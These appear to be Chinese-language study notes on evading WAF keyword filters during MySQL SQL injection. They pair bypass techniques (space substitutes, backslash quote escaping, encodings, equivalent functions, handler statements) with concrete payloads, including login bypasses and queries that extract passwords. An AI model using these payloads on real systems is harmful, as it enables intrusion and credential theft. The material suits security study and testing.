空格被过滤
/**/替代空格 %09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格 () 代替空格,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。
%a0�
这个可算是一个不成汉字的中文字符了,那这应该就好理解了,因为
%a0
的特性,在进行正则匹配时,匹配到它时是识别为中文字符的,所以不会被过滤掉,但是在进入SQL语句后,Mysql是不认中文字符的,所以直接当作空格处理,就这样,我们便达成了Bypass的目的,成功绕过空格+注释的过滤
过滤单引号
当在登录时使用的是如下SQL语句:
select user from user where user='$_POST[username]' and password='$_POST[password]';
在这里单引号被过滤了,但是反斜杠\并没有被过滤。则单引号可以被转义
输入的用户名以反斜杠\结尾
username=admin\&password=123456# 将这个拼接进去,\就可以将第2个单引号转义掉 select * from users where username='admin\' and password='123456#'; 这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体 接下来构造password为or 2>1# select * from users where username='admin\' and password=' or 2>1#'; 上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注
注释符
// --%20 /**/ # --+ -- - %00 ; ;%00 ;\x00
大小写绕过
双写绕过
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1
即 %6f%72%20%31%3d%31
,而 Test
也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些unicode编码举例
单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括号(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括号): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
like绕过
?id=1' or 1 like 1# 可以绕过对 = > 等过滤
in绕过
or '1' IN ('1234')# 可以替代=
等价函数或变量
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() 举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者: substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1
反引号绕过
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
过滤union
waf = 'and|or|union'
过滤代码
union select user,password from users
绕过方式
1 && (select user from users where userid=1)='admin'
过滤where
waf = 'and|or|union|where'
过滤代码
1 && (select user from users where user_id = 1) = 'admin'
绕过方式
1 && (select user from users limit 1) = 'admin'
过滤limit
waf = 'and|or|union|where|limit'
过滤代码
1 && (select user from users limit 1) = 'admin'
绕过方式
1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id
聚合中user_id为1的user为admin过滤group by
waf = 'and|or|union|where|limit|group by'
过滤代码
1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式
1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
waf = 'and|or|union|where|limit|group by|select'
过滤代码
1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
只能查询本表中的数据
绕过方式
1 && substr(user,1,1) = 'a'
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
handler users open as hd;
#指定数据表进行载入并将返回句柄重命名handler hd read first;
#读取指定表/句柄的首行数据handler hd read next;
#读取指定表/句柄的下一行数据handler hd close;
#关闭句柄过滤’(单引号)
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码
1 && substr(user,1,1) = 'a'
绕过方式
1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤hex
waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码
1 && substr(user,1,1) = unhex(61)
绕过方式
1 && substr(user,1,1) = lower(conv(11,10,16))
#十进制的11转化为十六进制,并小写。过滤substr
waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码
1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式
1 && lpad(user(),1,1) in 'r'
过滤,逗号
过滤了逗号怎么办?就不能多个参数了吗?
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
意思相同
substr
支持这样的语法:SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
MID()
后续加入了这种写法